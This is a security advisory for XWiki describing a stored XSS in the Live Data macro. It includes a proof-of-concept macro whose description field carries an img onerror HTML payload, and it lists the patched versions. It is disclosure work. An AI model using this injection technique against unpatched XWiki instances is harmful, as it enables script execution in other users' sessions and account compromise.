GHSA-hmm7-6ph9-8jf2

Impact

A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.

For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.

{{liveData id="movies" properties="title,description"}}
{
  "data": {
    "count": 1,
    "entries": [
      {
        "title": "Meet John Doe",
        "url": "https://www.imdb.com/title/tt0033891/",
        "description": "<img onerror='alert(1)' src='foo' />"
      }
    ]
  },
  "meta": {
    "propertyDescriptors": [
      {
        "id": "title",
        "name": "Title",
        "visible": true,
        "displayer": {"id": "link", "propertyHref": "url"}
      },
      {
        "id": "description",
        "name": "Description",
        "visible": true,
        "displayer": "html"
      }
    ]
  }
}
{{/liveData}}

Patches

This has been patched in XWiki 14.10, 14.4.7, and 13.10.11.

Workarounds

No known workaround.

References

• https://jira.xwiki.org/browse/XWIKI-20312

For more information

If you have any questions or comments about this advisory:

• Open an issue in Jira
• Email us at Security ML